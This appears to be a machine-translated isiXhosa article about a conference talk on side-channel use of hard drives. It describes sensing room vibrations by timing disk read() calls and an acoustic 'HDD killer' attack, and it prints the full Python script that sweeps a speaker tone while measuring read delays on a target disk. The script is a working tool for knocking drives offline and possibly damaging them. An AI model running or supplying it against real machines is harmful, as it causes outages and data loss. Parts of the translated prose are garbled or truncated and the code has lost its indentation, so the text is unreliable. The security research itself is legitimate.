
Kwinkomfa yokhuseleko lwekhompyuter ye-Ekoparty 2017 e-Buenos Aires, i-hacker yase-Argentina u-Alfredo Ortega wabonisa uphuhliso olunomdla kakhulu-inkqubo yokufihla i-wiretapping yezakhiwo ngaphandle kokusebenzisa imakrofoni. Isandi !
I-HDD ithatha ubukhulu becala izandi ezisezantsi-zandi, iinyawo kunye nokunye ukungcangcazela. Intetho yomntu ayinakubonwa, nangona izazinzulu (ukuqatshelwa kwentetho ngokushukuma okuphantsi, okurekhodwa, umzekelo, kwi-gyroscope okanye i-HDD).
Isandi kukungcangcazela komoya okanye enye indlela. Umntu uzibona ngegubu lendlebe, elithumela ukungcangcazela kwindlebe engaphakathi. Imakrofoni iyilwe ngokusondeleyo njengendlebe - apha, kwakhona, ii-vibrations zirekhodwa ngenwebu encinci, evuselela amandla ombane. I-hard drive, ngokuqinisekileyo, ixhomekeke kwi-vibrations microscopic ngenxa yokuguquguquka komoya ojikelezayo. Oku kwaziwa nakwiimpawu zobugcisa ze-HDDs: abavelisi bahlala bebonisa inqanaba eliphezulu lokungcangcazela elivumelekileyo, kwaye i-hard drive ngokwayo izama ukuyibeka kwisitya sobungqina be-vibration esenziwe ngerabha okanye ezinye izinto ezikhuselayo. Kule nto kulula ukugqiba ukuba izandi zinokurekhodwa kusetyenziswa i-HDD. Into eseleyo kukufumanisa ukuba njani.
UAlfredo Ortega ucebise inguqulelo eyodwa yohlaselo lwetshaneli esecaleni, eyile, uhlaselo lwexesha. Olu hlaselo lusekelwe kwingcinga yokuba imisebenzi eyahlukeneyo yenziwa kwisixhobo ngamaxesha ahlukeneyo, kuxhomekeke kwidatha yegalelo elinikiweyo. Kule meko, "idatha yokufaka" kukushukuma kwentloko yokufunda kunye ne-HDD platter, ehambelana nokunyakaza kokusingqongileyo, oko kukuthi, ngesandi. Ngaloo ndlela, ngokulinganisa ixesha lokubala kunye nokwenza uhlalutyo lweenkcukacha-manani, ukuxubha kwentloko / isitya kwaye ngoko ke ukuxubha okuphakathi kunokulinganiswa. Okukhona ukulibaziseka kokufunda idatha, kokukhona i-HDD ishukuma ngamandla kwaye, ngoko, isandi esikhulu.
Indlela yokulinganisa i-hard drive vibration? Ilula kakhulu: vele usebenze umnxeba wenkqubo read () - kwaye urekhode ixesha elithathayo ukugqiba. Iinkqubo zokusebenza zanamhlanje zikuvumela ukuba ufunde ixesha leefowuni zenkqubo ngokuchaneka kwe-nanosecond.
Isantya solwazi lokufunda oluvela kwicandelo luxhomekeke kwindawo yentloko kunye nesitya, esihambelana nokungcangcazela kwecala le-HDD. Kuko konke.
Uhlalutyo lweenkcukacha-manani lwenziwa kusetyenziswa into eluncedo ye-Kscope elula. Njengoko bethetha, yonke into enobuchule ilula.

Usetyenziso lweKscope (stat() syscall)
I-Kscope sisixhobo esincinci sokujonga umahluko omncinci kumaxesha okwenziwa komnxeba. Umthombo.
Kwindawo yokugcina eyahlukileyo kukho uguqulelo lwezinto eziluncedo eziqwalaselwe uhlaselo lwexesha kwi hard drive, oko kukuthi, iqwalaselwe ukuhlalutya umnxeba wendlela. read ().
Umboniso wokurekhoda kwesandi usebenzisa i-HDD, ukusebenza kwe-Kscope utility

Ewe, intetho ayinakuqondwa ngolu hlobo, kodwa i-HDD ifanelekile njengenzwa yokungcangcazela. Umzekelo, unokubhalisa ukuba umntu onxibe izihlangu ezinzima okanye ongenazihlangu wangena kwigumbi elinekhompyuter (mhlawumbi, ukuba umhlaseli unxibe iiteki ezithambileyo okanye kukho ikhaphethi engqindilili emgangathweni, i-HDD ayinakukwazi ukubhalisa ukungcangcazela - oku kufanelekile ukujonga). Ikhompyutha iyakwazi ukubhalisa iglasi eyaphukileyo okanye ezinye iziganeko ezinobunzulu besandi esinamandla. Oko kukuthi, i-hard drive inokusebenza njengohlobo lwenkqubo yokufumanisa ukungena okungagunyaziswanga.
HDD umbulali
Ngethamsanqa, indlela efanayo ingasetyenziselwa ukucima ii-hard drives. Nangona kunjalo, apha asibambi ii-vibrations ezivela kwi-HDD, kodwa sivelisa ii-vibrations ezithunyelwa kwi-HDD. Ukuba udlala isandi esivela kwisithethi kwi-frequency ehambelana ne-frequency ye-HDD, inkqubo iya kuvala isixhobo kungekudala ngempazamo ye-I/O (i-kernel). Linux (Oku kuyicima ngokupheleleyo i-HDD emva kwemizuzwana eli-120.) I-hard drive ngokwayo inokonakala ngokungenakulungiseka.

Eyona nto iphambili Linux I-hard drive yacima emva kwemizuzwana eli-120 yokudlala isandi ngesandi esivakalayo nge-Edifier r19u USB speaker. I-speaker yavulwa malunga nekota yamandla ayo (ngaphantsi kwe-100 mW) yaza yabekwa kwi-20 cm ukusuka kwi-HDD, yajoliswa etafileni ukuze kwandiswe ukungcangcazela. ngomboniso wombulali we-HDD
Kuyathakazelisa ukuba "ukuhlaselwa" okunjalo kwii-HDD ngamanye amaxesha kwenzeka ngokupheleleyo ngengozi kubomi bemihla ngemihla. Ngokomzekelo, ngoSeptemba 2016, isikhungo sedatha ye-ING Bank saphoqeleka ukuba simise imisebenzi kwiiyure ze-10 emva kokucima umlilo. ngenxa yesandi esikhulu segesi ye-inert ekhutshwa kwiisilinda phantsi koxinzelelo oluphezulu. Isandi sasiphezulu kakhulu (ngaphezu kwe-130 dB), kodwa awukwazi nokukhwaza kwii-hard drives - oku kwandisa ukulibaziseka ekufikeleleni kwi-HDD.
Ukuboniswa kokukhala kwabantu kwii-hard drives kwiziko ledatha. Umlinganiselo wokubambezeleka

Ukuvelisa isandi esivakalayo, uAlfredo Ortega wabhala iskripthi sePython esibizwa ngokuba ().
Incinci kakhulu, ngoko ungayipapasha iyonke apha.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()umthombo: www.habr.com
